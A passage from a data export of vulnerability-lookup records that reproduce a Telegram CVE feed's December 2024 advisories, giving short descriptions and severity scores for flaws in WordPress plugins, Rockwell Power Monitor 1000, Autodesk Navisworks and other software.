Peter's Custom Anti-Spam CSRF Email Blacklisting\"\", \n  \"Content\": \"CVE ID : CVE-2024-12554 \nPublished : Dec. 18, 2024, 10:15 a.m. | 42\u00a0minutes ago \nDescription : The Peter\u2019s Custom Anti-Spam plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 3.2.3. This is due to missing nonce validation on the cas_register_post() function. This makes it possible for unauthenticated attackers to blacklist emails via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. \nSeverity: 5.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"18 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-18T12:01:13.000000Z"}, {"uuid": "22b085b8-937f-463e-9dfa-ca299e37a9a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12371", "type": "seen", "source": "https://t.me/cvedetector/13212", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12371 - Rockwell Automation Power Monitor 1000 API Unauthenticated Elevated Privilege Creation\", \n  \"Content\": \"CVE ID : CVE-2024-12371 \nPublished : Dec. 18, 2024, 4:15 p.m. | 36\u00a0minutes ago \nDescription : A device takeover vulnerability exists in the Rockwell Automation Power Monitor 1000. This vulnerability allows configuration of a new Policyholder user without any authentication via API. Policyholder user is the most privileged user that can perform edit operations, creating admin users and performing factory reset. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"18 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-18T17:52:44.000000Z"}, {"uuid": "a3a48f61-276c-4e87-b57e-de02d289a64b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12231", "type": "seen", "source": "https://t.me/cvedetector/12121", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12231 - A vulnerability, which was classified as critical,\", \n  \"Content\": \"CVE ID : CVE-2024-12231 \nPublished : Dec. 5, 2024, 4:15 p.m. | 35\u00a0minutes ago \nDescription : A vulnerability, which was classified as critical, was found in CodeZips Project Management System 1.0. This affects an unknown part of the file /index.php. The manipulation of the argument email leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-05T17:52:23.000000Z"}, {"uuid": "8c891aa0-0827-4bfb-b0cc-ff19c24f890e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12373", "type": "seen", "source": "https://t.me/cvedetector/13210", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12373 - Rockwell Automation Power Monitor 1000 Denial-of-Service Buffer Overflow\", \n  \"Content\": \"CVE ID : CVE-2024-12373 \nPublished : Dec. 18, 2024, 4:15 p.m. | 36\u00a0minutes ago \nDescription : A denial-of-service vulnerability exists in the Rockwell Automation Power Monitor 1000. The vulnerability results in a buffer-overflow, potentially causing denial-of-service. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"18 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-18T17:52:43.000000Z"}, {"uuid": "c5cff673-3e91-4419-ae51-760ea4b4b2bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12372", "type": "seen", "source": "https://t.me/cvedetector/13209", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12372 - Rockwell Automation Power Monitor 1000 Denial-of-Service and Remote Code Execution Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12372 \nPublished : Dec. 18, 2024, 4:15 p.m. | 36\u00a0minutes ago \nDescription : A denial-of-service and possible remote code execution vulnerability exists in the Rockwell Automation Power Monitor 1000. The vulnerability results in corruption of the heap memory which may compromise the integrity of the system, potentially allowing for remote code execution or a denial-of-service attack. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"18 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-18T17:52:39.000000Z"}, {"uuid": "d31d1965-7770-4077-be53-12cff04cfb05", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12028", "type": "seen", "source": "https://t.me/cvedetector/12186", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12028 - The Friends plugin for WordPress is vulnerable to\", \n  \"Content\": \"CVE ID : CVE-2024-12028 \nPublished : Dec. 6, 2024, 9:15 a.m. | 19\u00a0minutes ago \nDescription : The Friends plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on several REST API endpoints in all versions up to, and including, 3.2.1. This makes it possible for unauthenticated attackers to send arbitrary friend requests on behalf of another website, accept the friend request for the targeted website, and then communicate with the site as an accepted friend. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-06T10:36:02.000000Z"}, {"uuid": "63b06a62-b94d-4803-b572-f80525cb4bc9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12027", "type": "seen", "source": "https://t.me/cvedetector/12185", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12027 - The Message Filter for Contact Form 7 plugin for W\", \n  \"Content\": \"CVE ID : CVE-2024-12027 \nPublished : Dec. 6, 2024, 9:15 a.m. | 19\u00a0minutes ago \nDescription : The Message Filter for Contact Form 7 plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the updateFilter() and deleteFilter() functions in all versions up to, and including, 1.6.3. This makes it possible for authenticated attackers, with subscriber-level access and above, to update and delete filters. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-06T10:36:01.000000Z"}, {"uuid": "3477b115-bc60-4607-a5c5-746dd21a126b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12003", "type": "seen", "source": "https://t.me/cvedetector/12184", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12003 - The WP System plugin for WordPress is vulnerable t\", \n  \"Content\": \"CVE ID : CVE-2024-12003 \nPublished : Dec. 6, 2024, 9:15 a.m. | 19\u00a0minutes ago \nDescription : The WP System plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.1.1. This is due to missing or incorrect nonce validation on the generate_wp_system_page_content() function. This makes it possible for unauthenticated attackers to inject malicious web scripts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-06T10:35:57.000000Z"}, {"uuid": "6fc84a7b-92bd-4a62-a6c8-f5b33f5797d1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12287", "type": "seen", "source": "https://t.me/cvedetector/13171", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12287 - Biagiotti Membership WordPress Authentication Bypass Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12287 \nPublished : Dec. 18, 2024, 7:15 a.m. | 24\u00a0minutes ago \nDescription : The Biagiotti Membership plugin for WordPress is vulnerable to authentication bypass in all versions up to, and including, 1.0.2. This is due to the plugin not properly verifying a user's identity prior to authenticating them. This makes it possible for unauthenticated attackers to log in as other users, such as administrators, granted they have access to an email. \nSeverity: 9.8 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"18 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-18T08:40:32.000000Z"}, {"uuid": "aae88879-fa13-4343-a6bb-35d23882d795", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12181", "type": "seen", "source": "https://t.me/cvedetector/12036", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12181 - A vulnerability classified as problematic was foun\", \n  \"Content\": \"CVE ID : CVE-2024-12181 \nPublished : Dec. 4, 2024, 10:15 p.m. | 36\u00a0minutes ago \nDescription : A vulnerability classified as problematic was found in DedeCMS 5.7.116. Affected by this vulnerability is an unknown functionality of the file /member/uploads_add.php of the component SWF File Handler. The manipulation of the argument mediatype leads to cross site scripting. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 3.5 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"04 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-05T00:17:46.000000Z"}, {"uuid": "62b92bfc-43e8-4619-98b4-3fb5c4397354", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12082", "type": "seen", "source": "https://t.me/cvedetector/11884", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12082 - Huawei OpenHarmony Out-of-bounds Read Information Leak\", \n  \"Content\": \"CVE ID : CVE-2024-12082 \nPublished : Dec. 3, 2024, 1:15 p.m. | 29\u00a0minutes ago \nDescription : in OpenHarmony v4.0.0 and prior versions allow a local attacker cause information leak through out-of-bounds Read. \nSeverity: 5.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"03 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-03T14:49:42.000000Z"}, {"uuid": "2435820d-1f82-40e9-896b-a7bb6867b234", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12698", "type": "seen", "source": "https://t.me/cvedetector/13160", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12698 - Rapid Reset Unauthenticated Stream Encryption Weakness in OpenShift Enterprise OSE-OLM-Catalogd Container\", \n  \"Content\": \"CVE ID : CVE-2024-12698 \nPublished : Dec. 18, 2024, 5:15 a.m. | 43\u00a0minutes ago \nDescription : An incomplete fix for ose-olm-catalogd-container was issued for the Rapid Reset Vulnerability (CVE-2023-39325/CVE-2023-44487) where only unauthenticated streams were protected, not streams created by authenticated sources. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"18 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-18T07:00:06.000000Z"}, {"uuid": "1ee7ccee-18e8-4333-92fc-ee721bdeb8c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12432", "type": "seen", "source": "https://t.me/cvedetector/13157", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12432 - WPC Shop WooCommerce Plugin for WordPress Unsecured Authentication\", \n  \"Content\": \"CVE ID : CVE-2024-12432 \nPublished : Dec. 18, 2024, 4:15 a.m. | 43\u00a0minutes ago \nDescription : The WPC Shop as a Customer for WooCommerce plugin for WordPress is vulnerable to account takeover and privilege escalation in all versions up to, and including, 1.2.8. This is due to the 'generate_key' function not producing a sufficiently random value. This makes it possible for authenticated attackers, with Subscriber-level access and above, to log in as site administrators, granted they have triggered the ajax_login() function which generates a unique key that can be used to log in. \nSeverity: 8.1 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"18 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-18T06:09:56.000000Z"}, {"uuid": "13f3815f-659e-4399-873e-8d897333ff24", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12259", "type": "seen", "source": "https://t.me/cvedetector/13156", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12259 - WordPress RepairBuddy Plugin Privilege Escalation Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12259 \nPublished : Dec. 18, 2024, 4:15 a.m. | 43\u00a0minutes ago \nDescription : The CRM WordPress Plugin \u2013 RepairBuddy plugin for WordPress is vulnerable to privilege escalation via account takeover in all versions up to, and including, 3.8120. This is due to the plugin not properly validating a user's identity prior to updating their email through the wc_update_user_data AJAX action. This makes it possible for authenticated attackers, with subscriber-level access and above, to change arbitrary user's email addresses, including administrators, and leverage that to reset the user's password and gain access to their account. \nSeverity: 8.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"18 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-18T06:09:55.000000Z"}, {"uuid": "fc4b0dd7-0021-44a6-b153-fc76b718a798", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12250", "type": "seen", "source": "https://t.me/cvedetector/13155", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12250 - Authorize.NET Payments Using Contact Form 7 WordPress Information Exposure Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12250 \nPublished : Dec. 18, 2024, 4:15 a.m. | 43\u00a0minutes ago \nDescription : The Accept Authorize.NET Payments Using Contact Form 7 plugin for WordPress is vulnerable to Information Exposure in all versions up to, and including, 2.2 via the cf7adn-info.php file. This makes it possible for unauthenticated attackers to extract configuration data which can be used to aid in other attacks. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"18 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-18T06:09:54.000000Z"}, {"uuid": "b4ce07ad-6c6c-4621-94fc-c962fb6215d9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12061", "type": "seen", "source": "https://t.me/cvedetector/13154", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12061 - Elementor WordPress Events Addon Information Exposure\", \n  \"Content\": \"CVE ID : CVE-2024-12061 \nPublished : Dec. 18, 2024, 4:15 a.m. | 43\u00a0minutes ago \nDescription : The Events Addon for Elementor plugin for WordPress is vulnerable to Information Exposure in all versions up to, and including, 2.2.3 via the naevents_elementor_template shortcode due to insufficient restrictions on which posts can be included. This makes it possible for authenticated attackers, with Contributor-level access and above, to extract data from private or draft posts created by Elementor that they should not have access to. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"18 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-18T06:09:51.000000Z"}, {"uuid": "b0bbde81-b87f-4de2-837b-c5f53caa8a96", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12025", "type": "seen", "source": "https://t.me/cvedetector/13153", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12025 - WordPress Collapsing Categories SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12025 \nPublished : Dec. 18, 2024, 4:15 a.m. | 43\u00a0minutes ago \nDescription : The Collapsing Categories plugin for WordPress is vulnerable to SQL Injection via the 'taxonomy' parameter of the /wp-json/collapsing-categories/v1/get REST API in all versions up to, and including, 3.0.8 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. \nSeverity: 7.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"18 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-18T06:09:50.000000Z"}, {"uuid": "0bbdb34b-46de-47d4-b87a-9b7402a111fc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12596", "type": "seen", "source": "https://t.me/cvedetector/13151", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12596 - \"LifterLMS Arbitrary Post Deletion Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-12596 \nPublished : Dec. 18, 2024, 4:15 a.m. | 43\u00a0minutes ago \nDescription : The LifterLMS \u2013 WP LMS for eLearning, Online Courses, & Quizzes plugin for WordPress is vulnerable to arbitrary post deletion due to a missing capability check on the 'llms_delete_cert' action in all versions up to, and including, 7.8.5. This makes it possible for authenticated attackers, with Subscriber-level access and above, to delete arbitrary posts. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"18 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-18T06:09:49.000000Z"}, {"uuid": "4fd872c1-2f34-48bc-b013-8ab98969daa9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12539", "type": "seen", "source": "https://t.me/cvedetector/13135", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12539 - Elasticsearch Auth Bypass Document Level Security Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12539 \nPublished : Dec. 17, 2024, 9:15 p.m. | 42\u00a0minutes ago \nDescription : An issue was discovered where improper authorization controls affected certain queries that could allow a malicious actor to circumvent Document Level Security in Elasticsearch and get access to documents that their roles would normally not allow. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-17T23:28:31.000000Z"}, {"uuid": "293a543b-cdbb-4855-acf8-c49a12127b81", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12449", "type": "seen", "source": "https://t.me/cvedetector/13150", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12449 - WordPress Video Share VOD Stored Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12449 \nPublished : Dec. 18, 2024, 4:15 a.m. | 43\u00a0minutes ago \nDescription : The Video Share VOD \u2013 Turnkey Video Site Builder Script plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'videowhisper_player_html' shortcode in all versions up to, and including, 2.6.30 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"18 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-18T06:09:48.000000Z"}, {"uuid": "c080985c-1bcf-4d48-877c-77fd75c67214", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12200", "type": "seen", "source": "https://t.me/cvedetector/13110", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12200 - Autodesk Navisworks Out-of-Bounds Write Buffer Overflow\", \n  \"Content\": \"CVE ID : CVE-2024-12200 \nPublished : Dec. 17, 2024, 4:15 p.m. | 19\u00a0minutes ago \nDescription : A maliciously crafted DWFX file, when parsed through Autodesk Navisworks, can force an Out-of-Bounds Write vulnerability. A malicious actor can leverage this vulnerability to cause a crash, cause data corruption, or execute arbitrary code in the context of the current process. \nSeverity: 7.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-17T17:36:59.000000Z"}, {"uuid": "f9782133-72b3-4998-8188-2848a85acf12", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12513", "type": "seen", "source": "https://t.me/cvedetector/13146", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12513 - WordPress Rewards Fuel Stored Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12513 \nPublished : Dec. 18, 2024, 3:15 a.m. | 45\u00a0minutes ago \nDescription : The Contests by Rewards Fuel plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'RF_CONTEST' shortcode in all versions up to, and including, 2.0.65 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"18 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-18T05:19:39.000000Z"}, {"uuid": "20a5b56c-062f-4922-8d95-ec38d98c9ca5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12500", "type": "seen", "source": "https://t.me/cvedetector/13145", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12500 - Philantro WordPress Donations Plugin Stored Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12500 \nPublished : Dec. 18, 2024, 3:15 a.m. | 45\u00a0minutes ago \nDescription : The Philantro \u2013 Donations and Donor Management plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's shortcodes like 'donate' in all versions up to, and including, 5.2 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"18 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-18T05:19:38.000000Z"}, {"uuid": "58ca4f1b-7a79-4718-9a12-5e43a699f104", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12179", "type": "seen", "source": "https://t.me/cvedetector/13114", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12179 - Autodesk Navisworks Heap-based Overflow vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12179 \nPublished : Dec. 17, 2024, 4:15 p.m. | 19\u00a0minutes ago \nDescription : A maliciously crafted DWFX file, when parsed through Autodesk Navisworks, can be used to cause a Heap-based Overflow vulnerability. A malicious actor can leverage\u00a0this vulnerability to cause a crash, read sensitive data, or execute arbitrary code in the context of the current process. \nSeverity: 7.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-17T17:37:05.000000Z"}, {"uuid": "7719cbb8-b91d-4e23-bdc9-1cb4b198135b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12178", "type": "seen", "source": "https://t.me/cvedetector/13112", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12178 - Autodesk Navisworks DWFX File Memory Corruption Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12178 \nPublished : Dec. 17, 2024, 4:15 p.m. | 19\u00a0minutes ago \nDescription : A maliciously crafted DWFX file, when parsed through Autodesk Navisworks, can force a Memory Corruption vulnerability. A malicious actor can leverage this vulnerability to execute arbitrary code in the context of the current process. \nSeverity: 7.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-17T17:37:00.000000Z"}, {"uuid": "9e422850-bee2-4a17-9114-adb68b908226", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12197", "type": "seen", "source": "https://t.me/cvedetector/13107", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12197 - Autodesk Navisworks Out-of-Bounds Write Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12197 \nPublished : Dec. 17, 2024, 4:15 p.m. | 19\u00a0minutes ago \nDescription : A maliciously crafted DWFX file, when parsed through Autodesk Navisworks, can force an Out-of-Bounds Write vulnerability. A malicious actor can leverage this vulnerability to cause a crash, cause data corruption, or execute arbitrary code in the context of the current process. \nSeverity: 7.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-17T17:36:53.000000Z"}, {"uuid": "88f9a9eb-9fe0-4375-82d1-9fecc4e68626", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12194", "type": "seen", "source": "https://t.me/cvedetector/13106", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12194 - Autodesk Navisworks Memory Corruption Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12194 \nPublished : Dec. 17, 2024, 4:15 p.m. | 19\u00a0minutes ago \nDescription : A maliciously crafted DWFX file, when parsed through Autodesk Navisworks, can force a Memory Corruption vulnerability. A malicious actor can leverage this vulnerability to execute arbitrary code in the context of the current process. \nSeverity: 7.8 | HIGH 